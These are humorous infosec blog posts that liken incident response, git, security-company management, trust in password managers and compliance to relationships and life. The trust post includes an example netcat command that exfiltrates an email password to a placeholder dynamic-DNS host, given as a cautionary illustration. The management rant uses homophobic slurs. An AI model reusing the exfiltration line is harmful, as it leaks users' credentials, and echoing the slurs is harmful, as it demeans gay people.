Category: …osophy

Between an Incident Response and a Break-up

Long time again… Sometimes I feel like I am gathering inspiration for too long, and it starts defusing after a while.

There is a perfect timing – a sweet spot – for writing a poem or a python package. If you miss it  that’s it, you missed it… You need to gather your inspiration all over again…

It’s been almost a year since my first post (Dating as a form of Penetration Testing). It is time for a break-up parallelization. Here we go!

 

Incident Response as a form of a Break-up

The Setup

Sometimes bad things happen. Those bad things vary in type, but a security incident in a company can be a very bad thing. A Bad like Jesse James thing. A company can lose thousands of $ or because of a spear-phishing campaign, or a compromised account on the database server.

A break-up, in the other hand is a more straightforward thing. You gotta get separated from someone or something beloved (I won’t forget the moment I gave up my ThinkPad, for my corporal machine).

For a guy the beloved thing is his girlfriend (or even his boyfriend), for a sys admin it’s the rootkit‘d File Server (he spend days and mojo building).

And you gotta get separated for sure… The Relationship/Server is no good anymore. It actually does more harm than good

Going Deeper

Technically speaking, there are several phases, both on an incident response, and on a break-up. And if you think of it hard enough, they seem to be the same phases…

SANS documents the Incident Response Phases in the GCIH cert material as follows:

  • Identification
  • Containment
  • Eradication (Cleaning Up)
  • Recovery
  • Lessons Learned

Hell, doesn’t this sound awfully familiar already?

So, let’s shine! Our star tonight: the Separated & Hacked SysAdmin

 

Identification

I don’t actually feel the same way I used to with her. I feel nothing when I touch her… I don’t care if I will be seeing her tonight or not

# ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 19356 648 ? Ss May20 0:02 /sbin/init
root 2 0.0 0.0 0 0 ? S May20 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S May20 0:03 [migration/0]
[...]
root 4108 0.0 0.0 11716 548 ? S May20 0:02 /usr/sbin/.httpd
apache 37008 0.0 0.0 213148 11328 ? S May21 0:04 /usr/sbin/httpd

It is this time! The shivers you get. The mindblow. The spine that tingles a bit. The urge to cry… The realization that you have no tears…

It happened on Monday. It had to be about 19:something. Stayed at work late and had to come at her place for the night. The moment he was typing the ps command (for no reason, like every Linux guy who is bored in front of the #), he was thinking of his girlfriend…

Stayed late just to have some time alone. Didn’t have work to do. Didn’t need to be at work at all. But, for some reason he couldn’t get his head around the forthcoming sleepover. It ‘d be the same thing again. The same meal, the same sex, the same “Calvin and Hobbes” comic in the WC… He wouldn’t do it.

Then he grasped the ps output. Couldn’t actually believe what he was staring at. At first he was like “Hey, my httpd ain’t running as root. I fixed the config two days ago“. And then he went: “what the fuck is this bro?” (he loves P.C. Principle from South Park).

After the shock he had two phone calls to make. More like three. The first one was to his girlfriend. Talked about the incident. He couldn’t come over… He was somewhat hopeful for this. Somewhat… Sometimes digital forensics are better than sex. But that night… That night anything was better than sex!

And then he called the Incident Response team, and his best friends. Ordered pizza from the office to his home (that makes it four phone calls). Arranged a meeting for tomorrow morning with the Incident Response guys and headed for home were his friends were also heading after the Bromance Alarm.

He had to figure out both issues the following day. How comes he can’t see her face in his mind?. How this rogue process was planted? He had to get his shit together…

 

Containment

SANS got me on this again! SANS explains the Containment Phase as “to stop the bleeding“. SANS guys must be really experienced with break-ups apart from sleuthkit.

So, the sys-admin guy broke-up the next morning. He was the smart type of guy – he didn’t depress his feelings. He felt like so and he broke-up!

Ironically, he did so over the phone, while the Incident Response guys were unplugging the Ethernet from his server (after gathering live memory dumps of course)…

The containment phase began the same evening. He gathered the gang again and went to a Pub. Got almost wasted with just beers and nachos. Then he introduced himself to a stranger, while his friends were constantly provoking him, like high-schoolers (do we –men– actually ever escape the high-school age?). Told everything to her, while constantly burping like Rick from Rick and Morty.

He knew nothing about what was going to happen next… He knew nothing about the Nightingale Syndrome that the woman was under. To make a long story short, after almost crying on her arms, they got pre-laid in the Pub’s WC and completely laid in her place…

She became his “rebound girl” for a while. He slept over in her house for almost a week. He went home to pick up things like toothbrush and clothes. Too many memories in there… It was time for…

 

Eradication

The Friday Night was a bummer. All day Friday in work he was trying to remove the malware from the compromised server. There were also, crontabs, services, even a kernel mod was found by the forensics team…

He kept removing shit and more shit kept spawning. Rogue binaries in /root/bin/ and bogus entries in lsmod output… All day Friday he was removing malware…

Then he got home. A Friday evening. His friends were all busy and he kind of missed his ex.

What follows is often seen in movies and teenager video-clips. He got his zippo and went to the bathroom with all the pictures he had from the previous holidays they did together. He set them on fire on the bathtub. Later he brought presents and all romance-shit card-postals and letters from the Erasmus era. Her old sunglasses, her toothbrush, 3 pairs of socks… He kept burning stuff all night and more kept spawning…

 

Recovery

He took days burning stuff and drinking Mountain Dew or Dr. Pepper. He also made a new friend – the pizzaboy. Gained some weight, stopped going out, lost the NBA finals. He was a mess for some time…

 

Then, suddenly one morning, he woke up motivated! Went for a walk before work by himself. Had some push-ups before putting his jeans on. It was time to finally recover…

Went to work and rebuilt the whole server. LDAP authentication, public key only authentication on SSH, remote sys-logging, etc.

Then he got home. Cooked a meal for himself, after a long time. Brewed some coffee. Checked out Hacker News from his Android, like he used to, even before he met his ex.

Later that day, he went to the Pub, alone. Got some beer and sat by the window, alone. Nothing happened. None talked to him and he talked to no one. He did some thinking, all by himself.

Before going to bed, ’round midnight, he remembered he loved Kerouac and Burroughs. Their books were on the shelf collecting dust for too long. It had been years since he last read his favorite books. Goddammit, what had happened to him…

Fell asleep while reading the Junky, feeling nostalgic. It was the first day for the rest of his life…

 

Lessons Learned

He went to work earlier that morning. Determined. Whatever fucked that server up wouldn’t happen again. At least wouldn’t without him noticing

Utilized syslog everywhere. Everywhere! Even to the coffee machine. Spent countless hours setting up Kibana, added a Suricata to the firewall appliance and FINALLY created VLANs!

The thing went personal. This was not just his company’s network, it was his personal fortress

 

He stayed up late at work, and when he got home, he got a beer and did some more thinking. Why did he abandon everything while being with his ex-girlfriend? Why did he give up all the music he used to like? His favorite books? His friends? His role as linux-guru sys-admin?

Felt a bit desperate on why he left everything for her. Couldn’t understand why he lost the best bits of himself just by being with her… He wouldn’t do that again.

The thing went personal. He was not just a body and soul looking forward to mate again, he was his personal fortress

 

 

 

Highly inspired by “\”How To Break Up\” Tales Of Mere Existence” and my life.

Thanks for reading my 12th article.

 

 

 

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A Git Tutorial of Human Psychology

In Image and in Likeness

Catching Paragraph
that uses several seemingly irrelevant pieces of information to hook the reader.

Bible says that [G|g]od created humans “In Image and in Likeness“. While I am not that huge fan of Bible, I do believe that some things are not randomly written in this book.

In Image and in Likeness” is the only way to structure, design, and create something. No wonder, that God created people “In Image and in Likeness” himself. He couldn’t do it any other way…

 

Git is no Εxception

Creating Git Version Control was also a miracle (thanks again Linus). And it was created to resemble human nature and psychology as well. I don’t claim that the author and developers had this in mind when they started their codebase, but I do believe that they couldn’t help it.
Humans are doomed to duplicate themselves. With more than one ways…

 

Today’s Proof of Concept

All Git operations have human-side equivalents. Equivalents that resemble life choices and personal mind tricks. Branching, committing, rebasing, all are ways a person feels and acts about things.

 

The Childhood

Git init

Let there be light” (this is the last biblical reference, promise).
We can parallelize a person as a git repo. So here is what happens when a person is born:

God@Earth# NEW_PERSON="person-$(date +%s)-3"
God@Earth# mkdir $NEW_PERSON; cd $NEW_PERSON;
God@Earth# chroot . start_life $NEW_PERSON &

(the start_life executable starts by setting UID != 0, to avoid creating a new god.
This was the bug that created the Titans, Pantheon, Egyptian Gods and more, in the early years of development)

Because god runs Linux, and that’s for sure…

Then the person has its own process… It is alive! And this is what happens…

$ ls
$ ls -a
. ..
$ git init
Initialized empty Git repository in /.git
$

Here, we have a new proje… person! All initialized and ready to fulfill its life goals…

 

Git add

As a new project, at first, a person adds everything that is inside the directory inside the repo. And this isn’t always good…

$ ls
mother.love    old_sister.love    father.love    mother.tongue    mother.bad_habits    father.drinking_problem
$ git add *
$ git status
On branch master

Initial commit

Changes to be committed:
  (use "git rm --cached <file>..." to unstage)

    new file:   mother.bad_habits
    new file:   father.drinking_problem 
    new file:   mother.love
    new file:   old_sister.love
    new file:   father.love
    new file:   mother.tongue
$

A child sucks everything in its environment to slowly develop a personality. And carries all added things with it. But a personality isn’t actually created before the…

Initial Commit

And here we have the end of Childhood… A child with a discrete personality is a teenager. Almost not a child anymore…
And here is the line that differentiates the two:

$ git commit -m "Built personality PoC"
[master (root-commit) 46ae33f] Built personality PoC

 6 files changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 father.love
 create mode 100644 mother.love
 create mode 100644 mother.tongue
 create mode 100644 old_sister.love
 create mode 100644 father.drinking_problem 
 create mode 100644 mother.bad_habits
$

The Early Years

git commit

A commit happens every time a personal decision is made. As the commit is the most common command in git, it is also the most common mental condition in a person’s life. You commit every time consequences of your actions will affect you as a person. Just like a commit in git. It is a command that defines a state of you.

The .gitignore file!

A teenager starts to be more selective when adding things to his/her life. Tries to evaluate whether something is crucial for its development, or not.
A typical example of this is the following:

$ echo "mother.*" > .gitignore
$

This way a teenager permanently ignores all changes on its mother behavior, effectively carving its own way. One can add things to the .gitignore file as experience comes:

$ echo "*.assholes" >> .gitignore
$

Here we added the line to ignore all assholes, and prevent them from changing our life.

 

git branch

There are circumstances that you have to treat like a whole new person. There are events that need a whole fresh you when you first get into them, like relationships or hobbies. Events that every change they do to you, won’t affect you in other aspects of your life.

Let’s say that the teenager we left of, is a boy and is now ready to meet his first love “Lily”:

$ git status
On branch master
Untracked files:
  (use "git add <file>..." to include in what will be committed)

    lily.love
$

He is going to be a boyfriend, trying to leave the rest of his life intact. He has to create a new life branch.

$ git branch boyfriend_of_lily
$

git checkout

Now, every time he is with Lily he can just:

$ git checkout boyfriend_of_lily
$

and develop his relationship with her. Adding some Lily-specific files, or changing some already created ones. Also all commits done when with Lily, will affect their relationship only, not the rest of his life (hopefully).

People have countless branches. Think about hobbies, jobs and people that need a specific version of us to operate us expected… I do not treat my colleagues like my parents and I don’t cook with the same attitude I play basketball.

Sometimes, a hobby, a person, a general condition becomes so vital to us that is not “yet another thing” we do. It is something special, something really important to us… When this time happens for one of our branches we have to…

git merge

Here is why git shines. When we have a great hobby, that really means a lot to us, we have to merge it into our master branch.

$ git checkout master
$ git merge hobby_that_defines_you

after that, our hobby is included in the master branch, meaning that is an essential part of ourselves.

Problems start when some branches of ours that we want to merge to our master branch, have changed our inner selves in such a way that contradicts our personality.
When this happens we have the most serious first world problem:

 

The Merge Conflict…

Let’s say that:
as a person you are cheerful and generally happy, but then you met that goth girl, that  hates smiling and always wears that ring with the skull on it that gives you the creeps.

You are yourself when out with your friends, and you checkout to your Emo branch when with your goth girl! Great, that’s what branches are all about. But then you have to go to a party, were both your friends and your girlfriend will be there. Trying to merge those two branches raises the issue:

$ git checkout party_with_friends
$ git merge goth_girlfriend
Auto-merging attitude
CONFLICT (add/add): Merge conflict in attitude
Automatic merge failed; fix conflicts and then commit the result.
$
$ cat attitude
<<<<<<< HEAD
Happy and ready for the party!
=======
Look like I hate myself.
>>>>>>> goth_girlfriend

This issue has to be resolved. The way to resolve it is to get to that file and remove anything that doesn’t really belong to you.

I believe that all psychological problems start with such conflicts. When merging, back to master, incompatible branches of our egos… This is because the heavy development has to be done in master branch. The heavy development and commiting has to be in ourselves. While gaining experience we learn when to merge. We also learn when to…

 

git rebase

When a huge event like a marriage, a job, a loss, a break-up happens, our whole life is then defined by it. Our personal history can be split to before the event and after the event periods. We can remember being completely different before the event.

But now that the event has happened and we have plenty of commits on its branch, it is really easier to adopt our master branch on the branch of the new event, than checkout again to our old and dusty self – master branch.

This is when a rebase happens. When we need to redefine ourselves on top of another event. Notice the difference with the merge. Merge puts some additional things to our master. Rebase redefines our master to include the additional things historically.

 

Concluding

And the list goes on!

  • git cherry-pick, when we try to keep only the good stuff from a situation of ours,
  • git blame when we try to find when we made the wrong choice and what went wrong,
  • git tag when we accomplish something memorable.

The next time I get across someone that believes that computer science is far away from the human nature (there is such argument), I ‘ll answer 2 words (kinda)

$ git --help

*mic drop*

 

In the Twisted mind of Upper Management

I have written before about how compliance fucks up security, this is a common ground now. This post isn’t about that, as it has been all used up in several conferences, blog posts, drunk Red Team meet-ups and so on.

This post will talk about the nonsense that takes place inside the average Security company itself. It is really astonishing how the most absurd situations just tend to all get together and find their home in Security companies.

But this whole post isn’t about that either. While some fucked up situations will be our case studies, the post will try to suggest the reason that all this shit doesn’t happen in companies that create refrigerators or condoms

 

The Model

A typical security company consists of about 3 departments. They can be 4 or 6 but they are simplified to the above 3:

  • A Red Team / Penetration Testing Team
  • A Development Team
  • A Monitoring/Operations Team

And they all suck for different reasons…

 

Stating what sucks…

The Red Team

Well, the Red Team doesn’t suck. Most of the time it is a bunch of folks that really know their shit deeply and all. What does suck is that they have to report things. And those guys, most of the time, can barely talk. Imagine how painful will be for them to write stuff. They pay for 1 hour of enjoyment (meterpreter dances, pizza breaks, pentesting vending machines and such hilarious stuff…) a total of 7 hours of hating themselves in front of a Word document, or similar text editor. They at least do what they love the 1/8 of the time…

The Developers

If you take a bunch o’ monkeys and leave them in a cage with enough pot they will eventually write a Security Product for Internal Use. This is the development department. The classic UML faggotry, Java nonsense, and such clichés all apply.

And every company has their product that isn’t of course ready yet, but it will soon be. And good Lord it is gonna kick ass when it ‘ll be…

Their reason of existence is simple. There can be no “Computer Company” without “Program Making“. It is well known that this is what Computers are all about: “Creating Programs” (in the twisted mind of upper management).

 

Monitoring/Operations

What does suck the most is the Monitoring part. And it sucks a lot. In a whole new, existential level.

If you take every guy in there they all wanted to be pentesters. Worse than that is that now they don’t know what exactly they are. And this agnostic mentality flows around the whole department. They are not sure if they maintain a Network Operation Center, a Security Operations Center, an Incident Response Center, a Log Storage Service, a Behavioral Analytics Service or a Hard Rock Cafe, whatever.

They are so clueless about their existence they need lengthy meetings to decide if they are capable of servicing a customer that needs a very specific service. They are not sure whether they support such service but they go “Fuck it” and onboard him anyway.

The only Group of people that knows exactly what kind of fruit is the Monitoring department is the Upper Management (spoiler alert: its a money and a cow, what is it?)…

 

 

Why does everything suck?

Meet the Beast: Upper Management

They couldn’t last a day in any department of the company. Most of the time they have no clue what the company is about. If you ask them: “Tell me what does your company provide without using the word ‘Security’ ?” they may get an epileptic seizure the next instant.

So Security Companies are fucked up because their bosses are collecting butterflies while they could at least study what they are being bosses at.

I mean, my idea about the Boss role (say the Platonic Idea) is the man that does the same work as you, but way better. If someone hires me that demands from me to make chickas, but he can’t do it himself, I can, very well, make chickos and he will barely notice (chickas and chickos are words I just invented, don’t google them).

But how can this work?

Spoiler Alert: It doesn’t… Have you ever heard of failure?
This situation can very well define failure. And this failure bleeds money until it bankrupts, really slowly.

This happens for a number of reasons. Someone needs to pay all those folks, working on maintaining the illusion of security to the customers.
The Company gets the annual money from contracts and projects, but instead of moving on with some education with that money, it hires more developers. Because more developers means less time for the product to come out (in the twisted mind of upper management)! And when it comes out it ‘s gonna kick ass and stop hacking worldwide! And EVERYONE is gonna buy it on a huge price anyways…
But, unfortunately when too many developers get together, nothing ever gets finished, so they could very well play Minecraft in LAN parties, or Dungeons & Dragons, or beat Piniatas and end up more productive than when actually coding for the project. Because development is something nearly impossible to do right (it takes a lot more than coding), and most of the time it becomes a black hole that  sucks money.

In the meantime someone among the pentesters has the free version of BurpSuite and the Monitoring Center has an underspecs server or two…

And how it stops (not) working…

This nonsense actually has two ways to stop:

  1. Developers suck up all the money and release no product.
  2. Developers release the product.

The first scenario is simple yet amazing. A bunch of people bring a whole company down by not doing what they had to, while working every day 9:00-17:00 (sometimes even in weekends). I find this scenario amusing! It is the college project failure scaled all the way up!

But the second scenario is the one closer to reality.
When development department proudly presents a product, that has the same functionality with a forgotten project of some Chinese guy on Github, and the whole Upper Management realises that they can’t sell this stuff because none in the security industry really needs something like this (this is also the reason the Chinese guy abandoned his project back at 2014), the company breaks down. And it does as it depended on the sales, that should have been tremendous!

 

Why those tragedies do not happen in companies that manufacture refrigerators or condoms…

Upper management can very well be non-technical in refrigerator or condom companies. But the big difference between Security companies and condom companies is the following:

Upper Management people use (or have used) condoms and will never use security products (not even nmap)!

In condom companies people that have meetings and make choices about the company do not need to be consulted about how a condom works by a specialist, or why use a condom.

In security companies, in the other hand, the non-technical upper management has no fucking clue, and will never understand if something is worth spending or not. They completely lack common sense regarding their service or product.

This can be very well understood with 3 examples:

Condom makers
[The Condom Designer]: Hey boss, I believe we need to make condoms with WiFi. The budget we 'll need is 150.000$.

[The Condom Boss]: You are fired.

This boss figured out from his* experience that condoms with WiFi are useless as fuck. This Designer got sucked and he deserved it because he lost hours trying to budgetize condoms with WiFi. Fuck him.

*: or rather “her“, I prefer female bosses.

Refrigerator makers
[The Refrigerator Designer]: Hey boss, I believe that we need to make refrigerators with microphones, cameras and TCP/IP stack to ensure good quality of service (?). The budget for this is 180.000$.

[The Refrigerator Boss]: You are fired. (hopefully)

Here the boss didn’t see the opportunity of the IoT circus. But he fired the ignorant bastard just to be on the safe side…

Security providers
[The Security Designer]: Hey boss, I believe that we need to develop a tool that can compromise every operating system, platform and network.
We 're gonna write this in Java, as it is cross platform (?), and the budget for this will be 300.000$.

[The Security Boss]: This is a great idea! We are gonna invest on this!

This boss has no idea about Cobalt Strike, Metasploit, etc. Tools that have been developed for years and are the defacto standard for the industry. He has no experience on “compromising” things.
If he ever knew what Java is all about, he would burst into tears of laughter before the Designer could finish the proposition. (For people that don’t know, Java is even worse than Ruby nowadays).
Plus the “compromise everything” sounds too bad-ass to be cheaper than 300.000$…

 

For me the last conversation has one more line:

[God] : Hey guys, come to see those two faggots! They are gonna write metasploit again, from scratch! (laughters).
In Java! (laughters)
(...laughters echo in paradise...)

I hand out to you a recipe of failure! Please stop cooking it…

 

 

 

 

 

 

 

Trust: a tale of Security, Philosophy, Reverse Engineering and Python

The role of Trust on InfoSec Incidents

Security boils down to be entirely about trust, if you come to think of it. Every information security incident could somehow be rephrased to include the word “Trust” in its reasons of happening. Just try anything:

  • SQL Injections all over the Web (and injection family exploits): “Mistrusted user input”.
  • Cross-Site Scripting: Mistrusting that a site will run on your browser only non-malicious code.
  • Superfish Incident: Add of an untrusted SSL Certificate in the Trust List of all computers from Lenovo.
  • Stuxnet:
    • Enough trust to a USB removable medium for it to be plugged in an “Air-gapped” computer.
    • Trust of the engineers on what they see (the backdoored health monitoring indication of the centrifuges) rather than what they hear (the centrifuges screaming as they were over-spinning).
  • Heartbleed, Shellshock: Trust on Open Source code auditing (as those were glaring bugs – and not the only ones)
  • Snowden’s leaks (it is a Security Incident for the 3-letter guys): Too much Trust on an employee (even a high positioned one).
  • … add your favorite Incident here …

And I mean all Security, Crypto included…

Encryption algorithms are trusted to be working. I mean there are Proofs on that they work (work means that decryption undoes encryption) but there aren’t proofs on that there can be no ways to deduce easily the key (easily meaning “easier than brute force”). There are also “Backdoored Ciphers” (with DES flirting closely with this speculation). Do we Trust these? Of, course not! Did we trust them before speculating or prooving they were backdoored? Sure, I mean, why not (DES was the fuckin’ Encryption Standard, as its name implies).

In the same manner: Today we trust AES. Ιf tomorrow we find out that there is a way to (instantly) decrypt every AES communication, we won’t trust it anymore. Meanwhile someone is reading us… And we have ourselves another trust-based security incident.

 

Why Trust anyway?

As  Ernst Alexander Rauter put it, in his famous “Creating subject people – How an opinion forms in the mind” (a book that isn’t sold on amazon in english – german edition),: “Trust is something that always upflows, from low power people to higher power people“. This is a very rough translation of the fact that people tend to trust things they don’t manipulate. Also people never want to feel scammed, so in defense of the exploration of an unwanted truth they prefer to just “trust“.

That’s why we trust crypto, and we trust our Operating System or our car. Because we can’t be 100% sure about their actions. So we politely assume that everything works as intended. Just to be gentle with ourselves.

 

The Trust Game in Computers

One of UNIX’s fathers, Ken Thompson, (apart from being the reason you see a.out files when compiling without arguments), implied a groundbreaking question in 1984 (a really controversial date!): “Do you trust your compiler? Do you trust your compiler so much that you are sure that when you compile the /bin/login binary, it won’t plant a backdoor in it?“. I am talking about the well-known “Ken Thompson Hack” documented in his awesome paper “Reflections on Trusting Trust“.

The truth is we trust our default gcc installation, and –seriously– never questioned it. It seems far-fetched to believe that there is such possibility. The reason for that is because we have to be reverse engineers to actually Check It. And this isn’t the case for the most of us…

 

 

Asking for and gaining Trust

My case study subject

Do you know about the kind of application called “Password Manager“? Applications like  “KeePass” that keep all your passwords in one place. They save them to disk in encrypted form and copy them to your clipboard whenever you need them, while you protect them all with a single “Master Password/Decryption Key“.

Asking for Trust

Those applications need a whole lot of trust from the users that use them. They could easily exfiltrate all your passwords to an unknown location without you noticing. In reality the only password worth exfiltrating is your email account’s password. If someone accesses your email’s password, the “Forgot my Password” button could do the rest of the work in all websites you’ve registered…

Gaining Trust

So how an application so crucial to your privacy gains Trust?

Well most of the time it doesn’t. Most of the time people assume that the binaries they download will do what they were described they do. Even their DLLs. But that’s because most people can’t actually check what an executable is doing. They trust because of their inability to know.

We need to go deeper

For an infosec researcher trust is gained. I trust that nmap works the way it works as I have wireshark‘d it a whole lot of times. I am sure https meterpreter is stealthy enough in many cases as I had it bypass my own firewall first. And I trust that keepass doesn’t make remote connections because of this:

n0p_sl3d@hostname:~$ objdump -D $(which keepassx) | grep socket
n0p_sl3d@hostname:~$

while:

n0p_sl3d@hostname:~$ objdump -D $(which netcat) | grep socket | wc -l
874

If you are used to C language Socket Programming you know that the way to open a network connection is through the socket function. And, in the untrimmed, non-statically compiled version of keepassx I use, there are no such calls in the binary. That’s definitely a good sign! Some trust is gained now!

But if you think of it, a call like:

system("echo %s | nc bad-domain.ddns.net 8080" % email_password);

doesn’t create a socket but would still exfiltrate my pass. That’s why keepass is Open Source. Just grep the code for similar looking calls, if you find any, keepass is a nasty traitor…

Sure that’s a lot of work but it is also your call how far you can go. Depending on how much you value your passwords. It’s a trade-of.

 

 For the Unconvinced

If keepass has a backdoor (while open-source) it has to be hidden in a smart way. And while you don’t know the author, you can’t be sure about his intentions. The only way to trust some things is to be 100% sure about how they operate. That brings us to the last part of this post:

 

100% Trust

The person highest in the Trust Scale, we maintain inside us, is ourselves. We ultimately believe in our eyes and hands. The Password Manager we will trust the most is the one that we will write ourselves or the one we carefully went through its code, and understood it line by line

This tends to be impossible for most Open Source projects, sometimes even for their contributors. Trust in Open Source projects suggests smaller, more comprehensive projects, in a Programming Language for humans, to be achieved in the desired 100% percent…

 

Python to the rescue!

There are like 15 actively used Programming Languages nowadays, but the ones they maintain a tiny chance of being understood in a glimpse of an eye are the english-like scripting ones (that means Python only).

So the goal was to create a Proof of Concept Python Password Manager that wouldn’t exceed 50 lines of code(single file) and will provide reasonable security, while being as easy to understand as possible maintaining the basic features. That way people would use it and be absolutely sure about what it does. The goal was to convince the unconvinced that this tool works as intended and only as intended. And here it is!

TinyPwdMan

TinyPwdMan‘s code can be found here: https://github.com/operatorequals/TinyPwdMan/blob/master/TinyPwdMan.py

The Source Code fits in a single page without scrolling! It uses master password, XOR encryption and can even copy to clipboard. It’s initial size is 38 lines.

It isn’t designed for real use (while it works flawlessly), but for a demonstration on what can really be absolutely trusted, and what is trusted because of its convenience. Because let me tell you: keepass beats that little Password Manager out of the water when it comes to convenience.

Either way, your passwords are as unsafe as the weakest link of your chain in which you use them. From mind, to keyboard, to OS, to application, to network, to the other side.

And the weakest link is not the encryption, nor the possibility of an exfiltration that would cost a Password Manager Author his reputation (once discovered), and probably his career and life.

The weakest link is you!

 

security
Source

 

 

 

How compliance kills Security (and Romance)…

Let’s say you go on a date. A first date.

You dress up like a prince and get your glossy watch on. You take an aromatic bath and brush your teeth white as deadbone. Then you spill an abundant portion of your most expensive cologne on your freshly shaved neck and leave home to find your sparkly car you washed in the morning. You fire up a Cesaria Evora CD and hit the road, sure you are gonna impress that sweetie to the bone.

Yes, you guessed it right. You are a Sales Manager.

And the date is with a manager of another company, that just happens to be female. She is gorgeous and all but you are totally interested in something else… You know she wants to get an ISO (or whatever) certification for her company, and the last requirement for the certification is a Risk Management / Penetration Test Schedule / 24-7 SIEM Service. It also just so happens that you work in a Security Company as well. And the game begins…

A game that feels more like a “cat & mouse” game than a “woman & man” game…

Step 1

She tries to convince you that she has met other guys as well, almost as handsome as you, but she really likes your ways while you try to convince her that you are the best of your kind because you have the most expensive car of all other men.

Step 2

She tries to convince you that her company has several other offers but she just wants to collaborate with you, while you try to convince her that your company has the best RA tools following the top latest standards, the most expertised Pentesters (that used to work as Hackers in the Dark Web before your company recruited them) and the Most accurate super-behavioral SIEM (based on Big Data®) on the market.

Step 3

A really romantic conversation starts about “Hacking“, Information Security, and viri – the plural of virus as it is a latin word (you will try fuckin’ everything to impress her). You mention how someone broke into your Gmail the other day, but you logged in quickly and locked him out by insta-changing the password, how you are sure that your Android Device takes pictures of you, how aware you are about e-mail phishing, and you play your final card with Advanced Persistent Threats (pronounced really slowly as English isn’t your mother tongue – and you speak in English while you are both Greek), what happened in 2009 and mr.Robot.

Those conversations make my heart warmer. Always between someone that hasn’t spawned a ‘cmd.exe‘ in his life (locally, not remotely) and someone else that Just-Only-Really needs his company certified and doesn’t give a shit about computers apart from Microsoft Excel (he is the one that runs the macros to “Enable Editing” just for the hell of it – because this button shouldn’t stay there unclicked).

So romantic that my heart skips!

Endgame / Aftersale

Her company is now a client of yours, got certified and you continue dating her… The RA/PenTest/SIEM Integration went great, found a lot of issues and all. Her company hired another company to fix the bare minimum of issues (fixing security bugs can be costly) required to pass the certification (enable some SSL, patch the Windows XPs to Service Pack 2 at least -for god’s sake-, refine the ‘any to any‘ Firewalling).

Your dates are great as well! She likes your taste in music and wine and you adore the wide smile she gives you when you talk just about anything (you remind her of her father that until her 15ish she was sure he knew everything – maybe in another article).

After a week you forgot to brush your teeth before going out with her. After two weeks you forgot your wallet at home, remembered about it just before you fire up the Cesaria Evora CD and said “Fuck it, we will eat cheap tonight” – ended up both smoking on a bench (from her cigarettes) talking about your previous relationships, eating chips. After three weeks you turned down a date with her to get wasted with your college friends and after a month you had a hot-dog with chili con-carne and jalapenos session just before you sleep at her place and farted (silently) all night long on her bed.

While you are dating, your company didn’t report all issues found at the latest PenTest and filtered out some of her companies suspicious constant behaviors us “they won’t fix them anyway” (and they won’t, that’s for sure).

In terms of relationships this phenomenon is called Over-Familiarization, in terms of companies this is called Compliance.

 

The Break-Up / End of Collaboration

One day her company’s website has a DickPic favico and a “Smoke Weed Every Day 420“-whatever Index page, while some domain user double-clicked a “CallOfDuty2_keygen.exe” or downloaded an EXE from the Internets to fix a “ntoskrnl.exe is missing” issue or the CEO clicked at an “Enlarge your Penis” spam e-mail link (spear-phishing?) and got a nasty ransomware that encrypted all SMB folders. Not to mention that some of its domains are blacklisted in spamhaus EDROP.

One day she wakes up feeling utterly neglected. She slept with the lights on, waiting for a call from him. Her mouth has that sour wakeup-taste and she is out of coffee too. Life sucked bad, but not that bad until the phone rang. She got a call from the office (she is a manager – remember! She is never at her office when she is needed) about the situation. There is another Security Company promising to “fix things“. She has to arrange a Business Meeting with her boyfriend to end the collaboration. She was also feeling like breaking-up… Perfect match.

(She knows she won’t miss his sleepovers. Not one bit)

 

The Good Guy

Oh, that new guy! He is an IT Manager in the Security Company hired to fix everything. And, good lord, he really did!

He works at the R & D department and he is every woman’s dream. He is always like “C’mon babe, let’s try something new” and she is like “That’s the first day of the rest of my life“. We could really say he patched her systems up!

He gets distant sometimes (when he stares at packets or debuggers all day without any outcome), but then he rises up again, better than before, ready for more winter roadtrips, drive-by cinema nights, coffee, cigarettes and breakfast-at-bed Day-Off mornings, or ice-cream afternoons!

 

Endline

It’s once more the who will get the girl problem. And I mean who will really get her. And it’s all about motivation. Greyhats may be “unethical” sometimes (again, it depends heavily on the context) but their heads are pure R&D labs. They lead the way, with the rest of InfoSec community chasing them (DefCon is the bright example where people with questionable ethics spill knowledge freely in every direction)…

And as long as companies rely only to compliance (with that meaning standard procedures, no research) for their income, they refuse to take part in the chase.

And real hackers will continue to really get the girls.